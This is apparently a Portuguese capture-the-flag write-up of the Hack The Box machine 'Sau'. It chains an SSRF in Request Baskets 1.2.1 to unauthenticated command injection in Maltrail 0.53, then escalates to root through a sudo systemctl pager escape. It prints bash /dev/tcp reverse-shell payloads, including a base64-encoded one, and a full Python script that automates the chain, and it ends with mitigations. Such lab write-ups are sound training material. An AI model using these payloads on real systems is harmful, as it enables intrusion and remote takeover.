0xEtern4lW0lf
Hack The BoxEasyLinux

Sau

7 min de leitura
#Request Baskets#SSRF#Maltrail#RCE#Sudo#GTFOBins

Introdução

Sau é uma máquina Linux de dificuldade Easy da plataforma Hack The Box. O box gira em torno da aplicação Request Baskets, exposta publicamente e vulnerável a SSRF (CVE-2023-27163), que é usada como pivô para alcançar um serviço interno Maltrail 0.53, vulnerável a execução remota de comandos sem autenticação. A escalada até root é feita abusando de uma regra de sudo mal configurada envolvendo o systemctl. IP alvo: 10.10.11.224 Link da máquina: https://app.hackthebox.com/machines/Sau

Escaneamento

O primeiro passo foi mapear portas e serviços com nmap.

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.224 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.224

O scan revelou, além da porta 22 (SSH), a porta 55555 aberta rodando um serviço HTTP não identificado pelo nmap. As portas 80 e 8338 aparecem filtradas externamente — indício de que existem serviços internos não expostos diretamente, algo que se confirma mais adiante durante a exploração via SSRF.

Enumeração

Acessando a porta 55555, o serviço redireciona para /web. Porta 55555 http://10.10.11.224:55555/web No rodapé da página, é possível ver que o serviço rodando é o Request Baskets, na versão 1.2.1. Essa aplicação serve para criar “cestas” (baskets) que capturam e inspecionam requisições HTTP recebidas — muito usada para debugging de webhooks. Pesquisando por vulnerabilidades conhecidas do Request Baskets 1.2.1, foi encontrada uma vulnerabilidade de SSRF divulgada publicamente para essa versão.

Exploração

Ficou claro nesse ponto que existem duas aplicações vulneráveis encadeadas nesse box:

  1. Request Baskets 1.2.1 — vulnerável a SSRF (CVE-2023-27163), usada para alcançar serviços internos que não estão expostos diretamente.
  2. Maltrail 0.53 — acessível apenas internamente (porta 80/8338), vulnerável a command injection não autenticado no parâmetro username do endpoint de login.

SSRF no Request-Baskets (CVE-2023-27163)

Para explorar a vulnerabilidade, foi criado um basket com um nome qualquer, apontando o forward_url para um endereço interno do próprio servidor. O basket criado no Request Baskets permite forçar o servidor a fazer requisições para qualquer endereço, inclusive endereços internos (localhost/127.0.0.1), que não seriam acessíveis de fora. Suspeitando que a porta 80 estivesse aberta internamente (já que aparecia como “filtrada” no scan externo), essa porta foi usada como alvo do proxy do basket. A suspeita se confirmou: a porta 80 realmente está aberta internamente e é servida pelo Maltrail, na versão 0.53, acessível através do basket criado: http://10.10.11.224:55555/0xetern4lw0lf

Maltrail 0.53 - Command Injection não autenticado

Referência: https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/ O Maltrail 0.53 possui uma vulnerabilidade de command injection no parâmetro username do endpoint de login, que não é sanitizado antes de ser usado pela aplicação. POC original

curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'

OBS.: a POC original envia o payload via POST, como corpo da requisição. Como o acesso a esse serviço só é possível através do proxy do Request Baskets (que reencaminha a requisição), foi necessário mandar o payload via GET — bastando aplicar verb tampering, ou seja, colocar o mesmo parâmetro na URL via querystring:

# PAYLOAD
username=;`curl+http://<IP-ATACANTE>`

Obtendo shell

O payload usado para obter uma reverse shell foi o seguinte:

# REVERSE SHELL
/bin/bash -i >& /dev/tcp/10.10.14.166/4433 0>&1

# REVERSE SHELL (em base64)
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE2Ni80NDMzIDA+JjE=

# PAYLOAD
username=;`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE2Ni80NDMzIDA+JjE=|base64 -d|bash`

Após URL-encodar o payload e enviar a requisição (via GET, através do basket do Request Baskets), a shell reversa foi recebida com sucesso: O shell obtido é do usuário de serviço do Maltrail (puma).

Pós-Exploração

Elevação de Privilégios

Com acesso ao usuário puma, o próximo passo foi checar permissões de sudo.

sudo -l

O usuário puma pode rodar /usr/bin/systemctl status trail.service como root, sem senha (NOPASSWD). No site GTFOBins, consta que esse binário pode ser abusado para escalar privilégio, pois a saída do systemctl status é processada por um pager (less), que aceita comandos internos. Antes de abusar disso, é necessário obter um TTY completo:

python3 -c "import pty;pty.spawn('/bin/bash')"

Normalmente, quando a saída é grande (ou o terminal não é totalmente funcional), ela é processada pelo less. Dentro do pager less, é possível executar comandos arbitrários usando !<comando>. Assim, basta rodar o comando com sudo e, dentro do pager, executar um shell:

sudo /usr/bin/systemctl status trail.service
!bash

Isso resulta em um shell como root.

Anexos

Script em Python para automatizar toda a cadeia de exploração (SSRF no Request Baskets + RCE no Maltrail) e obter shell reversa automaticamente. sau-getshell.py

#! /usr/bin/env python3

## Title: Exploit SSRF Request Baskets and Maltrail
## Description: GetShell - Sau - HTB
## CVEs : 
## SSRF on Request-Baskets (CVE-2023-27163)
## Maltrail v0.53 - Unauthenticated RCE
## Author: 0xEtern4lW0lf
## Created: 23 Nov 2023

## Reference: 
## https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
## https://medium.com/@li_allouche/request-baskets-1-2-1-server-side-request-forgery-cve-2023-27163-2bab94f201f7

## ========= MODULES =========

import base64
import requests
from urllib.parse import quote
import base64
import random
import string
import socket, telnetlib
from threading import Thread

## ========= VARIABLE =========

#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m"

lhost="10.10.14.166"
lport="4433"
rhost="10.10.11.224"
url = f"http://{rhost}:55555"
atk_server = "http://127.0.0.1:80"

basket_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(6))
url_api = f"{url}/api/baskets/{basket_name}"
url_basket = f"{url}/{basket_name}/login"

## ========= FUNCTION =========

## Banner
def banner():
  EwLogo = f"""

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
 _____  _                         ___  _  _    _  _____  _   __ 
|  ___|| |                       /   || || |  | ||  _  || | / _|
| |__  | |_   ___  _ __  _ __   / /| || || |  | || |/' || || |_ 
|  __| | __| / _ \| '__|| '_ \ / /_| || || |/\| ||  /| || ||  _|
| |___ | |_ |  __/| |   | | | |\___  || |\  /\  /\ |_/ /| || |  
\____/  \__| \___||_|   |_| |_|    |_/|_| \/  \/  \___/ |_||_|  
                                                                
#----------------------------------------------------------------# 
    
    Author: {GREEN}0xEtern4lW0lf{END}                           
    {RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}

    FOR EDUCATIONAL PURPOSE ONLY.

  """
  return print(f'{BLUE}{EwLogo}{END}')

## Set the handler
def handler(lport,target):
    try:
        print(f"[+] Starting handler on {lport} [+]")
        tn = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0",lport))
        s.listen(1)
        conn, addr = s.accept()
        print(f"[+] Receiving connection the {target} [+]")
        tn.sock = conn
        print("[+] Habemus Shell! [+]")
        tn.interact()

    except KeyboardInterrupt:
        print("Exiting...")

## Function encode Base64
def b64e(s):
    return base64.b64encode(s.encode()).decode()

## Function create request basket
def get_token():
    payload = {
        "forward_url": atk_server,
        "proxy_response": True,
        "insecure_tls": False,
        "expand_path": True,
        "capacity": 250
    }

    headers = {'Content-Type': 'application/json'}
    response = requests.post(url_api, json=payload, headers=headers)
    response_json = response.json()

    TOKEN = response_json.get('token', '')
    print("[*] URL:", url_api)
    print("[*] Authorization:", TOKEN)

## Function get shell from target
def get_shell():
    # Comando para shell reverso
    shellreverse = f"/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"

    # Codificação do shell reverso em base64
    shellreverse_encode = str(b64e(shellreverse))

    # Construção do payload
    payload = f"echo {shellreverse_encode}|base64 -d|bash"

    encoded_payload = quote(payload, safe='')

    # Solicitação HTTP com o payload
    response = requests.get(f"{url_basket}?username=;`{encoded_payload}`")
    
    # Verifica o status da resposta
    if response.status_code == 200:
        print("Payload enviado com sucesso.")
    else:
        print(f"Falha ao enviar o payload. Código de status: {response.status_code}")

def main():
    try:
        banner()

        ## Set up the handler
        thr = Thread(target=handler, args=(int(lport), rhost))
        thr.start()

        # Execução da função para obter o token
        get_token()

        # Execução da função para obter o shell reverso
        get_shell()

    except KeyboardInterrupt:
        print(f"\n{RED}[!]{END} {BLUE}Exiting...{END}")

if __name__ == "__main__":
    main()

Mitigação

  • Atualizar o Request Baskets para uma versão corrigida (posterior à 1.2.1) ou substituir por uma alternativa mantida ativamente. A CVE-2023-27163 permite que o campo forward_url seja usado para forçar requisições a endereços internos; o ideal é restringir/validar esse campo contra uma lista de destinos permitidos (allowlist) e bloquear ranges internos (RFC 1918, loopback, link-local).
  • Nunca expor painéis administrativos/serviços internos (como o Maltrail) apenas por segmentação de rede/porta filtrada. Isso não é suficiente quando há um serviço na mesma máquina capaz de fazer proxy de requisições (SSRF). Serviços internos devem exigir autenticação própria e, idealmente, estar isolados em rede/VLAN separada com controles adicionais.
  • Atualizar o Maltrail para uma versão que corrija a injeção de comando no parâmetro username do endpoint de login, e sanitizar/validar toda entrada de usuário antes de repassá-la a chamadas de sistema.
  • Revisar regras de sudo. Evitar liberar NOPASSWD para binários que podem invocar um pager ou shell (como systemctl status, que aciona less). Quando não for possível evitar, usar sudo com env_reset combinado a SYSTEMD_PAGER=""/--no-pager, ou restringir o binário via wrapper que não permita subcomandos interativos.
  • Aplicar o princípio do menor privilégio de forma geral: o usuário de serviço (puma) não deveria ter nenhuma permissão de sudo além do estritamente necessário para operação do serviço, e essa permissão não deveria abrir caminho para execução arbitrária de comandos.